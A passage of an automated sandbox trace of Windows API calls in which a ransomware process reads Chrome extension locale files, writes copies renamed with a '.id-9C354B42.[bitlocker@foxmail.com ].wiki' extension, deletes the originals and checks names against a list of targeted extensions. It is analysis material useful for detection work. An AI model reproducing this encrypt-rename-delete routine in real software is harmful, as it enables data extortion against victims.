Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.191] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.191] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.191] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.192] GetLastError () returned 0x0 [0174.192] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.193] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.194] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.194] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.194] SetEndOfFile (hFile=0x1b4) returned 1 [0174.194] CloseHandle (hObject=0x1b4) returned 1 [0174.194] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.194] SetEndOfFile (hFile=0x1ac) returned 1 [0174.195] CloseHandle (hObject=0x1ac) returned 1 [0174.195] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.195] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json")) returned 1 [0174.196] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json") returned 153 [0174.196] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json") returned 153 [0174.196] lstrlenW (lpString=".doc") returned 4 [0174.196] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.196] lstrlenW (lpString=".docx") returned 5 [0174.196] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.196] lstrlenW (lpString=".pdf") returned 4 [0174.196] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.196] lstrlenW (lpString=".xls") returned 4 [0174.196] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.196] lstrlenW (lpString=".xlsx") returned 5 [0174.196] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.196] lstrlenW (lpString=".ppt") returned 4 [0174.196] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.196] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json") returned 153 [0174.196] lstrlenW (lpString=".zip") returned 4 [0174.196] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.196] lstrlenW (lpString=".rar") returned 4 [0174.196] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.196] lstrlenW (lpString=".bz2") returned 4 [0174.196] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.196] lstrlenW (lpString=".7z") returned 3 [0174.196] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.196] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json") returned 153 [0174.196] lstrlenW (lpString=".dbf") returned 4 [0174.196] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.196] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json") returned 153 [0174.196] lstrlenW (lpString=".1cd") returned 4 [0174.196] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.197] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json") returned 153 [0174.197] lstrlenW (lpString=".jpg") returned 4 [0174.197] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.197] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json") returned 153 [0174.197] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json") returned 153 [0174.197] lstrlenW (lpString=".doc") returned 4 [0174.197] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.197] lstrlenW (lpString=".docx") returned 5 [0174.197] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.197] lstrlenW (lpString=".pdf") returned 4 [0174.197] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.197] lstrlenW (lpString=".xls") returned 4 [0174.197] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.197] lstrlenW (lpString=".xlsx") returned 5 [0174.197] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.197] lstrlenW (lpString=".ppt") returned 4 [0174.197] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.197] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json") returned 153 [0174.197] lstrlenW (lpString=".zip") returned 4 [0174.197] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.197] lstrlenW (lpString=".rar") returned 4 [0174.197] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.197] lstrlenW (lpString=".bz2") returned 4 [0174.197] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.197] lstrlenW (lpString=".7z") returned 3 [0174.197] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.197] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json") returned 153 [0174.197] lstrlenW (lpString=".dbf") returned 4 [0174.197] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.197] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json") returned 153 [0174.197] lstrlenW (lpString=".1cd") returned 4 [0174.198] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.198] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json") returned 153 [0174.198] lstrlenW (lpString=".jpg") returned 4 [0174.198] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.198] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.198] lstrlenW (lpString="messages.json") returned 13 [0174.198] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.198] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=179) returned 1 [0174.198] CloseHandle (hObject=0x1ac) returned 1 [0174.198] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json")) returned 0x2020 [0174.199] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.199] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.199] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.199] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.199] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.199] GetLastError () returned 0x0 [0174.199] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.200] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.201] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.202] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.202] SetEndOfFile (hFile=0x1b4) returned 1 [0174.202] CloseHandle (hObject=0x1b4) returned 1 [0174.202] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.202] SetEndOfFile (hFile=0x1ac) returned 1 [0174.203] CloseHandle (hObject=0x1ac) returned 1 [0174.203] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.203] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json")) returned 1 [0174.203] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json") returned 153 [0174.203] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json") returned 153 [0174.203] lstrlenW (lpString=".doc") returned 4 [0174.203] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.203] lstrlenW (lpString=".docx") returned 5 [0174.203] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.203] lstrlenW (lpString=".pdf") returned 4 [0174.203] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.203] lstrlenW (lpString=".xls") returned 4 [0174.203] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.204] lstrlenW (lpString=".xlsx") returned 5 [0174.204] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.204] lstrlenW (lpString=".ppt") returned 4 [0174.204] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.204] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json") returned 153 [0174.204] lstrlenW (lpString=".zip") returned 4 [0174.204] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.204] lstrlenW (lpString=".rar") returned 4 [0174.204] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.204] lstrlenW (lpString=".bz2") returned 4 [0174.204] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.204] lstrlenW (lpString=".7z") returned 3 [0174.204] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.204] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json") returned 153 [0174.204] lstrlenW (lpString=".dbf") returned 4 [0174.204] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.204] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json") returned 153 [0174.204] lstrlenW (lpString=".1cd") returned 4 [0174.204] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.204] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json") returned 153 [0174.204] lstrlenW (lpString=".jpg") returned 4 [0174.204] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.204] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json") returned 153 [0174.204] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json") returned 153 [0174.204] lstrlenW (lpString=".doc") returned 4 [0174.204] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.204] lstrlenW (lpString=".docx") returned 5 [0174.205] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.205] lstrlenW (lpString=".pdf") returned 4 [0174.205] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.205] lstrlenW (lpString=".xls") returned 4 [0174.205] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.205] lstrlenW (lpString=".xlsx") returned 5 [0174.205] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.205] lstrlenW (lpString=".ppt") returned 4 [0174.205] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.205] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json") returned 153 [0174.205] lstrlenW (lpString=".zip") returned 4 [0174.205] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.205] lstrlenW (lpString=".rar") returned 4 [0174.205] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.205] lstrlenW (lpString=".bz2") returned 4 [0174.205] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.205] lstrlenW (lpString=".7z") returned 3 [0174.205] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.205] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json") returned 153 [0174.205] lstrlenW (lpString=".dbf") returned 4 [0174.205] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.205] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json") returned 153 [0174.205] lstrlenW (lpString=".1cd") returned 4 [0174.205] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.205] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json") returned 153 [0174.205] lstrlenW (lpString=".jpg") returned 4 [0174.205] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.206] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.206] lstrlenW (lpString="messages.json") returned 13 [0174.206] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.206] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=179) returned 1 [0174.206] CloseHandle (hObject=0x1ac) returned 1 [0174.206] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json")) returned 0x2020 [0174.206] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.206] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.206] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.206] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.207] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.207] GetLastError () returned 0x0 [0174.207] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.208] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.209] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.209] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.209] SetEndOfFile (hFile=0x1b4) returned 1 [0174.209] CloseHandle (hObject=0x1b4) returned 1 [0174.209] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.209] SetEndOfFile (hFile=0x1ac) returned 1 [0174.210] CloseHandle (hObject=0x1ac) returned 1 [0174.210] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.210] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 